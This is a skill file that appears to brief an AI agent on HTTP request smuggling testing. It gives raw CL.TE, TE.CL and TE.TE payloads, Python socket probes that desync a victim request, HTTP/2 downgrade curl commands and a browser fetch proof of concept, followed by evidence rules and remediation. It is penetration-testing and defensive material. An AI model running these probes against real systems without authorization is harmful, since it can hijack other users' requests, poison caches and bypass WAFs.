request-smuggling
HTTP request smuggling and desynchronization testing. Use when front proxies, CDNs, or load balancers disagree with the origin on message framing (Content-Length vs Transfer-Encoding), on HTTP/2→HTTP/
SKILL.mdskills/impl/request-smuggling/SKILL.md
GitHubSKILL: HTTP Request Smuggling — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert HTTP desync techniques. Covers CL.TE, TE.CL, TE.TE obfuscation variants, HTTP/2 downgrade and pseudo-header confusion, client-side desync (browser
fetchpipelines), and tool-assisted fuzzing. Assumes familiarity with raw HTTP/1.1 framing and reverse-proxy topologies. This is not “header injection” — it is message boundary disagreement between hops.
Routing note: load this skill when you suspect CDN/reverse-proxy and origin disagree on request-end boundaries, or when abnormal concatenation appears during H2-to-H1 downgrade.
0. RELATED ROUTING
- ghost-bits-cast-attack when the HTTP client library is Apache HttpClient <= 4.5.9 (HTTPCLIENT-1974/1978) — injecting
瘍瘊(U+760D U+760A, low bytes\r\n) into a header value causes the underlying char-to-byte writer to emit a literal CRLF, splitting the request at the origin without relying on CL/TE disagreement
1. QUICK START
CL.TE first probe (front-end trusts CL, back-end trusts chunked)
Assumption: front end prioritizes Content-Length, back end prioritizes Transfer-Encoding: chunked. Use a very short CL so the front end accepts a fake end, while the back end continues chunk parsing and leaves remaining bytes for the next request.
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
- Front end reads only 13 bytes based on
Content-Length: 13(that is,0\r\n\r\nSMUGGLED, 13 bytes total) and considers the request complete. - Back end parses as chunked: after the
0end chunk, it treatsSMUGGLEDand onward as the start byte stream of the next request.
TE.CL first probe (front-end trusts chunked, back-end trusts CL)
Assumption: front end parses chunked and back end only reads Content-Length. Set CL equal to the number of bytes in the chunk-length line (commonly 4: two hex characters + \r\n), so the back end consumes only the length line and leaves the rest buffered for follow-up request splicing.
Embed a second request in the chunk (all line endings are CRLF; 35 hex chunk length = 53 bytes):
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0
On the wire, the chunk body must be exactly 53 bytes; if you change path/headers, recalculate chunk length and update the hex length line accordingly.
Safety note
Test only within authorized scope; concurrent smuggling can poison connection pools, corrupt caches, or impact other tenants. Prefer isolated environments or low-traffic windows.
2. CORE CONCEPT
Definition: two (or more) HTTP processing entities disagree on where request one ends and request two begins in the same TCP/TLS stream, allowing an attacker to include a partial or full second request inside one logical request.
Client Front (proxy/WAF) Back (origin)
| | |
|==== Request A+B ===>| |
| | parses boundary #1 | parses boundary #2
| | \ | /
| | different split points
| | |
v v v
Request A (seen) Request A' + smuggled B
Difference from CRLF injection: CRLF usually injects into responses or header lines; smuggling targets implementation differences in RFC 7230 message framing (Content-Length / chunked).
High-value impact: WAF rule bypass (smuggled body not visible in front-end request), hijacking other users' requests on shared-origin connections (queue poisoning), cache-poisoning assistance, and authentication-boundary confusion.
3. CL.TE VULNERABILITIES
Pattern: front end trusts Content-Length; back end trusts Transfer-Encoding: chunked.
Exact example (same as §0): Content-Length: 13 and Transfer-Encoding: chunked both exist, body is:
0\r\n\r\nSMUGGLED
Byte count: 0 + \r\n + \r\n + SMUGGLED = 13.
Back-end perspective: the chunked stream ends at 0\r\n\r\n; if SMUGGLED starts with METHOD SP or another valid request prefix, it becomes a smuggled request-line prefix.
Tuning: if the target is sensitive to duplicate headers, casing, or spaces, minimally adjust Transfer-Encoding variants (see §4) while preserving semantics to match a combo where front end ignores TE and back end executes TE.
4. TE.CL VULNERABILITIES
Pattern: front end parses chunked; back end only reads Content-Length (or too-short CL).
Intent: front end treats the whole malicious byte stream as body; back end reads only CL length, leaving remaining bytes buffered to splice with later legitimate requests.
Full TE.CL with embedded second request (same family as §0; Content-Length: 4 + first chunk-length line 35\r\n):
POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0
Explanation:
- Back end (CL): reads only 4 bytes from the message body start ->
35\r\n, marks body complete, and leaves the remaining bytes in the TCP read buffer. - Front end (TE): parses full stream as chunked and forwards/consumes
GET /admin...as body content of the already-closed first request (product-dependent); mismatch with back-end boundary interpretation forms TE.CL.
For longer smuggling (e.g., POST + Content-Length: 11 + x=1), chunk length is about 76 (hex 0x76 = 118 bytes); Content-Length: 4 can still pin the back end to reading only the length line.
Practical notes: chunk length must be valid hex; second request must meet target expectations for Host, path, and session cookie; timing window and connection-reuse strategy determine whether you hit another user's request.
5. TE.TE VULNERABILITIES
Pattern: both front and back claim to process Transfer-Encoding, but differ on which TE value is effective or valid -> still producing equivalent desync where one side sees chunked and the other does not.
Use the following 8 obfuscation variants to probe parser differentials (single-line display; \t means a real TAB):
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[TAB]chunked
(Replace [TAB] with real \x09.)
Transfer-Encoding: chunked
(One leading space at line start.)
X: X
Transfer-Encoding: chunked
(Previous line value is X and next line starts with Transfer-Encoding: this uses line continuation / lenient header parsing so one hop may merge or split lines incorrectly; separator between X and Transfer-Encoding may be \n or \r\n depending on the target stack.)
Transfer-Encoding
: chunked
(Field name and colon are on different physical lines; some parsers still treat it as valid Transfer-Encoding: chunked.)
Strategy: for each (front, back) pair, enumerate which side accepts each variant as chunked, then map to equivalent CL.TE or TE.CL using §2/§3.
6. HTTP/2 REQUEST SMUGGLING
H2 -> H1 Downgrade
Common scenario: edge supports HTTP/2 and origin uses HTTP/1.1. If implementation does not strictly normalize header fields and body boundaries, you may observe:
- incorrect pseudo-header to regular-header mapping order;
- forbidden headers (such as some
Connectioncombinations) forwarded incorrectly; - duplicate-header merge rules inconsistent with the origin.
Pseudo-header / header-injection smuggling (concept payload)
Attack surface comes from downstream H1 parsers treating certain bytes as the start of a new request. A common research/CTF approach is to place near-request bytes inside header values that one layer ignores but another treats literally:
header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: target
Meaning: if one hop keeps the full string in a header value and the next hop mis-splits during H1 reconstruction, parsing may start a new GET / HTTP/1.1 at \r\n\r\n.
Testing directions:
- duplicate and case handling for
Transfer-Encoding/Content-Lengthin H2 (H2 requires lowercase, but translation layers can fail); - downgrade behavior when
:methodor:pathincludes abnormal characters; - interactions between tunneling or extended CONNECT and smuggling.
7. CLIENT-SIDE DESYNC
Scenario: browser request-body handling differs from middleware/origin, or no-cors + preflight exemptions permit atypical messages that create queue effects similar to classic CL.TE/TE.CL (architecture-dependent).
HEAD + GET chain: some stacks historically mishandle HEAD response bodies, later pipelining, or connection reuse; validate with concrete browser versions and target proxy behavior.
JavaScript PoC shape (illustrative: set body to raw bytes containing GET, with no-cors and credentials):
fetch("https://target.example/vulnerable", {
method: "POST",
mode: "no-cors",
credentials: "include",
body: "GET /admin HTTP/1.1\r\nHost: target.example\r\n\r\n"
});
Note: browser security model limits direct readability; success often appears as side effects on other requests over the same connection or as abnormal server logs/behavior, not direct response reading. Evaluate with SOP, CORS, and extension/proxy factors.
8. TOOLS
| Tool | Purpose |
|---|---|
| Burp Suite — HTTP Request Smuggler (BApp Store) | Automated desync detection, common variants, timing-delta checks |
| defparam/smuggler (GitHub) | Python scripts for batch generation/sending of smuggling probes |
| dhmosfunk/simple-http-smuggler-generator (GitHub) | Quickly assemble raw CL.TE / TE.CL message templates |
Usage advice: first passively confirm a front-end + origin two-hop path, then select minimally disruptive probes, and lower concurrency in production.
9. DETECTION DECISION TREE
Start: reverse proxy / CDN in path?
|
NO -------------+------------- YES
| |
Low classic smuggling |
(still test H2 desync) v
Can you send TE + CL together?
|
NO -------------------+------------------- YES
| |
Test H2-only issues Front prefers which?
(pseudo-header, reset) |
+-------------------------------+-------------------------------+
| | |
CL wins TE wins errors /
| | connection
v v |
CL.TE probes TE.CL probes TE.TE obfuscation
(Sec 0,2) (Sec 0,3) (Sec 4)
| | |
v v v
Time / content / Adjust chunk Pairwise matrix:
queue poisoning sizes + CL which hop accepts
signals? alignment which variant?
| | |
+-------------------------------+-------------------------------+
|
v
Confirm with second request
smuggled (replay-safe)
or Collaborator-style side signal
Advanced Reference
Also load H2_SMUGGLING_VARIANTS.md when you need:
- H2.CL and H2.TE variants with byte-level payload examples
- CL.0 (connection close desync) — technique and detection
- Fat GET request smuggling (body in GET request)
- Request smuggling → cache poisoning chain (response queue misalignment)
- Client-side desync (CSD) via browser Fetch API with JavaScript PoC templates
- CDN/reverse proxy product behavior matrix (HAProxy, Nginx, Apache, Cloudflare, AWS ALB, Envoy, Varnish, etc.)
9b. LEGACY ROUTING MAP
- Input enters interpreter/query language/template (not HTTP framing) -> Injection Testing Router (then drill down into XSS, SQLi, SSTI, etc.).
- Response header splitting / Location CRLF -> CRLF Injection.
- Cache and path-key confusion -> Web Cache Deception.
Once confirmed as an HTTP message-boundary issue rather than parameter injection, stay in this skill to avoid misrouting into general injection workflows.
10. EXECUTION PRIMITIVES
Smuggling needs raw bytes, not a normal HTTP client. These blocks send deliberately malformed framing and measure the disagreement; each returns an interpretable result rather than prose.
10.1 Timing baseline - the first thing to establish
# Every smuggling conclusion rests on a timing delta. Measure the well-formed baseline first.
for i in $(seq 1 5); do
curl -s -o /dev/null -w '%{time_total}
' -X POST "https://target.tld/" -H 'Content-Type: application/x-www-form-urlencoded' --data 'a=1'
done | sort -n | awk '{a[NR]=$1} END{printf "median_baseline=%.3fs
", a[int((NR+1)/2)]}'
A CL.TE probe that hangs ~5-10s past the median, consistently, is the classic signal. A single slow response is not evidence - the front end may simply have been busy. Run the probe at least three times and compare medians, not one sample against one sample.
10.2 CL.TE probe with a real timeout
python3 - <<'PY'
import socket, ssl, time
HOST, PORT, TLS = "target.tld", 443, True
# front end uses Content-Length, back end uses Transfer-Encoding: chunked
req = (b"POST / HTTP/1.1\r\n"
b"Host: target.tld\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: 6\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b"0\r\n"
b"\r\n"
b"X")
for n in range(3):
s = socket.create_connection((HOST, PORT), timeout=15)
if TLS: s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST)
t0 = time.time()
s.sendall(req)
try: s.recv(4096)
except socket.timeout: pass
print(f"run {n}: {time.time()-t0:.3f}s")
s.close()
PY
The request declares Content-Length: 6 so the front end forwards only 0\r\n\r\nX, and the back
end - reading chunked - waits for a terminating chunk that never arrives. The hang is the finding's
first half; the second half is the desync effect below.
10.3 Proving the desync effect, not just the delay
python3 - <<'PY'
import socket, ssl, time
HOST, PORT, TLS = "target.tld", 443, True
PREFIX = (b"POST / HTTP/1.1\r\nHost: target.tld\r\n"
b"Content-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n"
b"1\r\nZ\r\nQ")
# request B is the 'victim': a normal request whose response we can recognise
VICTIM = b"GET / HTTP/1.1\r\nHost: target.tld\r\nConnection: keep-alive\r\n\r\n"
res = []
for n in range(3):
s = socket.create_connection((HOST, PORT), timeout=15)
if TLS: s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST)
s.sendall(PREFIX); time.sleep(0.3)
s.sendall(VICTIM)
try: data = s.recv(8192)
except socket.timeout: data = b"<timeout>"
res.append(data[:120]); s.close()
time.sleep(0.5)
for i, r in enumerate(res): print(i, r)
PY
The victim request's response being wrong - a 404 for a path it did not request, a response
belonging to the prefix, or a 400 - is the desync. The prefix's Q becomes the start of the next
request's method, so the back end reads QGET / HTTP/1.1... and replies with an error that does not
match a normal GET /. Compare against a control where the prefix is sent alone with no victim.
10.4 TE obfuscation sweep
python3 - <<'PY'
import socket, ssl, time
HOST, PORT, TLS = "target.tld", 443, True
VARIANTS = {
"TE:chunked": "Transfer-Encoding: chunked",
"TE:xchunked": "Transfer-Encoding: xchunked",
"TE: chunked (space)": "Transfer-Encoding : chunked",
"TE:space-value": "Transfer-Encoding: chunked",
"X-TE+TE": "X-Transfer-Encoding: chunked\r\nTransfer-Encoding: chunked",
"TE:x, chunked": "Transfer-Encoding: x, chunked",
"TE:chunked, x": "Transfer-Encoding: chunked, x",
"TE:CHUNKED": "Transfer-Encoding: CHUNKED",
"TE:bewitched": "Transfer-Encoding: chunked\r\nTransfer-encoding: identity",
}
for name, te in VARIANTS.items():
body = te.replace("Transfer-Encoding: ","").replace("Transfer-Encoding : ","")
hdr = f"Transfer-Encoding: {body}" if not te.startswith("X-") else te
req = (f"POST / HTTP/1.1\r\nHost: {HOST}\r\nContent-Length: 4\r\n{hdr}\r\n\r\n"
"1\r\nZ\r\nQ").encode()
s = socket.create_connection((HOST, PORT), timeout=12)
if TLS: s = ssl.create_default_context().wrap_socket(s, server_hostname=HOST)
t0 = time.time(); s.sendall(req)
try: resp = s.recv(2048)
except socket.timeout: resp = b"<timeout>"
print(f"{name:28} {time.time()-t0:6.3f}s {resp[:40]!r}")
s.close(); time.sleep(0.4)
PY
Expected: every variant that reaches an agreeing pair of hops returns fast, and the ones where the hops disagree hang or error distinctly. Record the delta per variant - the differing row is the one that tells you which header the front end and back end each honour.
10.5 HTTP/2 downgrade desync
# h2c prior-knowledge, then a request whose body can be split by the H2->H1 translation
curl -sS --http2-prior-knowledge -X POST "https://target.tld/" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'a=1\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.tld\r\n\r\n' -o /dev/null -w '%{http_code}\n'
# header-name smuggling: forbidden characters are stripped by the H2 layer, not the H1 origin
curl -sS --http2 "https://target.tld/" \
-H $'foo: bar\r\nTransfer-Encoding: chunked' -o /dev/null -w '%{http_code}\n'
If the translation layer strips \r\n from a header value the origin never sees it, which is a
negative result. If the injected GET /admin line produces a second, unrelated response, the
downgrade is reconstructing boundaries from attacker-controlled content.
10.6 Client-side desync in a real browser
cat > /tmp/csd.html <<'HTML'
<script>
const PAYLOAD = "POST / HTTP/1.1\r\nHost: target.tld\r\n" +
"Content-Length: 4\r\nTransfer-Encoding: chunked\r\n\r\n" +
"1\r\nZ\r\nQ";
fetch('https://target.tld/', {method:'POST', body: PAYLOAD,
mode:'cors', credentials:'include', headers:{'Content-Type':'text/plain'}})
.then(r => console.log('probe done', r.status))
.catch(e => console.log('probe err', e));
</script>
HTML
python3 -m http.server 8080 --directory /tmp & # serve to a browser you control
sleep 1; echo "open http://127.0.0.1:8080/csd.html with the devtools console visible"
The victim request is then any same-origin fetch the page makes afterwards. Evidence is that
request returning another request's response - a 404 for a valid path, or an admin response for a
non-admin URL. Timing alone does not establish CSD.
10.7 Tool-assisted detection
# Burp: install 'HTTP Request Smuggler' from the BApp Store, then
# right-click target -> Extensions -> HTTP Request Smuggler -> Smuggle probe
python3 -m pip install --user smuggler # defparam/smuggler
smuggler -u https://target.tld/ --timeout 15 --threads 4
# nuclei has smuggling templates in the http/misconfiguration category
nuclei -u https://target.tld/ -t http/misconfiguration/ -tags smuggling -timeout 15
Tools find candidates; they do not establish impact. Every hit must be reproduced by hand with 10.2-10.4, because the tool's timing heuristic produces false positives on a slow origin.
11. CONFIRMING THE FINDING
| Step | Question | What it proves |
|---|---|---|
| 1 | Is there a two-hop path (front end/CDN plus origin), confirmed independently? | the entire bug class needs two parsers; a direct-to-origin test proves nothing |
| 2 | Does the malformed request produce a consistent timing delta across 3+ runs versus the median baseline? | rules out origin slowness and a one-off |
| 3 | Does a victim request receive a response it did not request (wrong path, wrong body, 400)? |
the actual desync, not merely a hang |
| 4 | Can you reproduce the desync without the aggressive timeout, with a plausible response? | separates the real boundary disagreement from a dropped connection |
| 5 | Is the effect repeatable and steerable - can you choose which request is poisoned? | control, which is what turns desync into exploitation |
| 6 | Does the poison reach a security-relevant target (another user's request, a cache, an auth check)? | impact, not just an anomaly |
| 7 | Is the front-end/origin pair the same in production, and is the test in scope? | lab-only desync is common; verify the deployed topology |
The hang is a lead; the poisoned victim is the finding. A CL.TE probe that times out tells you the hops disagree on framing. It becomes a report when a second request on the same connection receives the wrong response, or when a cache is poisoned for a victim - and you show both requests and both responses.
Never test this with production users on the connection. A desync can deliver one user's request to another user's session; scope the test to a connection you control, use a canary path, and stop on the first confirmed poison rather than sweeping for maximum effect.
12. EVIDENCE STANDARD
| Item | Why |
|---|---|
The exact raw bytes sent, including the CL and TE headers and the \r\n placement |
the malformation is the technique; a paraphrase is unreadable and unreproducible |
| The timing measurements - baseline median plus 3+ probe runs | establishes the delta and rules out a slow origin |
| The victim request and its wrong response, both captured | this is the desync; without a victim there is no impact |
| The control run with a well-formed request on the same connection | proves the anomaly is caused by the framing, not the endpoint |
| The two-hop topology evidence (front-end and origin identified by header or behaviour) | the bug requires two parsers and does not exist without them |
| The tool variant name if a tool found it, plus the manual reproduction | tools find candidates; the manual run is the evidence |
| The environment - target host, timestamp, connection count, and whether keep-alive is in play | smuggling is stateful across a connection; the run conditions matter |
| Confirmation that no other user's session was affected, or a description of exactly what was observed | smuggling can cross tenants; the report must state the blast radius honestly |
| Impact statement - which request can be poisoned, and what that request does | converts an anomaly into a finding |
Report the disagreement and the effect: "Content-Length plus Transfer-Encoding: chunked makes
the edge forward 6 bytes and the origin wait 5.1-5.3s (median baseline 0.09s, 3/3 runs); on that
connection a following GET /x returns a 400 referencing the method QGET, confirming the origin
parsed our trailing byte as the next request's method", never "the server is vulnerable to request
smuggling".
False positives - do not report these
| Observation | Why it is not a finding |
|---|---|
| A single slow response with no repeatable delta | origin load, not a framing disagreement |
| The hang reproduces but no victim request is ever affected | the front end may simply be holding the connection; no desync proven |
| Testing directly against the origin (no front end) | the bug class requires two parsers; single-hop framing is a different issue |
The front end returns 400 to the malformed request at the edge |
the edge rejected it - the control worked |
curl "normalises" the request and removes your malformation |
client artefact; use raw sockets as in 10.2 |
A 400/502 on every malformed variant identically |
the edge is validating framing, not disagreeing with the origin |
| Timing delta explained by a rate limiter or WAF challenge | measure with the same request shape at baseline |
| The victim's "wrong" response is the origin's normal error page | must be a response for a different request, not a generic error |
| A tool reports smuggling but the manual reproduction returns baseline timings | tool false positive |
| A cached response differs after your probe but the cache TTL had simply expired | re-test with a fresh canary key |
| The test affected a third party's session or data | that is an incident, not a finding; stop and report it as such |
No victim, no impact, no finding. The timing delta alone belongs in a working note.
13. REMEDIATION REFERENCE
- Normalise framing at the edge and reject ambiguity - accept exactly one framing header, reject any request carrying both
Content-LengthandTransfer-Encoding, and reject duplicate or obfuscatedTransfer-Encodingvalues with a400. This closes the whole CL.TE/TE.CL family at the front door. - Make every hop agree by construction - terminate HTTP/1.1 at the edge, ensure the origin only ever receives a normalised message, and never let an untrusted hop forward raw ambiguous bytes. Hop-by-hop disagreement is the root cause.
- Use HTTP/2 end to end where possible - a hop that never downgrades to HTTP/1.1 removes the H2-to-H1 translation class; where a downgrade is unavoidable, reject requests whose headers or body would be altered by the translation.
- Strip or reject forbidden characters after H2 translation - validate the reconstructed HTTP/1.1 message server-side and treat any
\r/\ninside a header value as a hard error rather than passing it downstream. - Disable connection reuse between untrusted clients and the origin - allocate a fresh upstream connection per downstream request, or re-key and drain on error, so a leftover byte cannot be read as the prefix of the next user's request.
- Keep front end and origin on the same vendor and version where feasible - most desyncs come from a patched edge in front of an unpatched origin (or the reverse); track framing behaviour as a deployment invariant and test it in CI.
- Patch known framing CVEs across the whole chain - the same bug returns through a different component each year; maintain an inventory of every proxy, CDN, and server in the path and verify the patched state of each, not just the origin.
- Reject and alert on malformed framing rather than tolerating it - a WAF or edge rule that logs and rejects ambiguous requests both blocks the attack and gives you the detection signal.
- Protect caches from desync poisoning - include enough of the request in the cache key, never cache responses to requests with a body on GET, and treat a cache entry with an unexpected
Content-Lengthas a poisoning indicator. - Defend the client side too - browsers/frameworks should not allow a
fetchto inject a request body that the connection reuses; server-side, ensure a connection with an unparsed remainder is closed rather than returned to the pool. - Test framing invariants in CI with a raw-socket harness - assert that a request with both framing headers is rejected, that an obfuscated
Transfer-Encodingis rejected, and that a keep-alive connection never returns a mismatched response. Framing regressions are deployment regressions.
14. RELATED SIBLINGS - LOAD TOGETHER
- ghost-bits-cast-attack - the same boundary-splitting primitive through a Unicode encoder bug
- web-cache-deception - the cache-side effect a desync can be used to achieve
- crlf-injection - header splitting, which desync is sometimes confused with
- http-parameter-pollution - the parameter-level version of hop disagreement
- burp-scan - the tool that finds candidates, plus how to confirm them